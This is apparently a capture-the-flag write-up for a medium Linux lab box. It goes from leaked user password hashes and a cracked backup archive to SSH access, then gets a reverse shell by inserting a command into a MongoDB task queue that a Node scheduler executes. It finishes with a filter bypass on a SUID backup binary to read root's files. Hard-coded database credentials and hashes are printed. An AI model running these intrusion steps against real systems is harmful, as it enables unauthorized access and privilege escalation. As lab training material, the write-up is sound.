[*] INDEX:
[+] BOX INFO π» :
Operative System : Linux π§
Difficulty : Medium π
Owner : rastating
IP : 10.10.10.58
[+] PART 1 - GAIN ACCESS
The first step is scanning machine’s ports with nmap:
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Once seen open ports, let’s get a deeper scan :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here we can see a http server, let’s ennumerate it .
It was not possible to fuzz the website, because it always returns a 200 status as we can see :
So let’s open BurpSuite
and check the requests. If we refresh inside Tom’s profile and we look at the requests it makes we can see this :
So, let’s check there :
Oh, let’s get the credetials of all the users :
[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
As we can see -> “myP14ceAdm1nAcc0uNT” is the admin, so let’s crack all the passwords, In my case I’m gonna be using Crackstation:
Let’s login :
Let’s download the backup :
So, myplace.backup is a base64 text, let’s decode it :
Let’s unzip the file :
Oh! But I don’t have that pass… Let’s crack it with fcrackzip
:
Now, let’s unzip it :
If we check at those files, we can find this :
Some creds! Let’s try to login through ssh :
[+] PART 2 - PRIVESC
Let’s run linpeas.sh
Let’s start a python http server and get the file :
From our local machine :
From the victim machine :
./linpeas.sh
I could see that the user tom
was running a task :
tom 1217 0.0 3.5 1008568 26864 ? Ssl 15:27 0:01 /usr/bin/node /var/scheduler/app.js
Let’s check that file :
This process is ran by tom, so if we can get a reverse shell, we could become tom. Let’s connect to mongo :
If we read carefully the app.js file :
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
We can see that setInterval
function executes whatever is under cmd
value and after that, it deletes the task. So let’s get a reverse shell and add it as a task, as we can see in this mongodb documentation. In my case I’ll get a python reverse shell from ironhackers. I placed the reverse shell in /tmp due to the fact that there we have write permissions, and now, let’s add it as a task :
db.tasks.insertOne( { cmd: “python /tmp/reverse_shell.py " } );
Now let’s listen from our local machine with nmap :
Nice! To get a more βcomfortable shellβ we can run this :
python3 -c 'import pty; pty.spawn("/bin/bash")'
export SHELL=bash
export TERM=xterm-256color
stty rows 59 columns 235
Now we have to enumerate again, in my case I found this SUID file, which tom has access to execute because he is in the admin group :
I ran strings
to see what was going on with the binary :
So, as I can guess this file creates a base64 encoded backup of a directory, let’s check app.js
to see if we can find something interesting. I found this :
[...]
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
[...]
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});
[]...]
Let’s try to execute the program with this command :
./backup -q ‘45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474’ /tmp
And it kinda actually worked… We can grab root’s flag, but it’s actually filtered, but we can bypass this setting /root as $HOME due to the fact that ~ is not filtered:
./backup -q ‘45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474’ “~”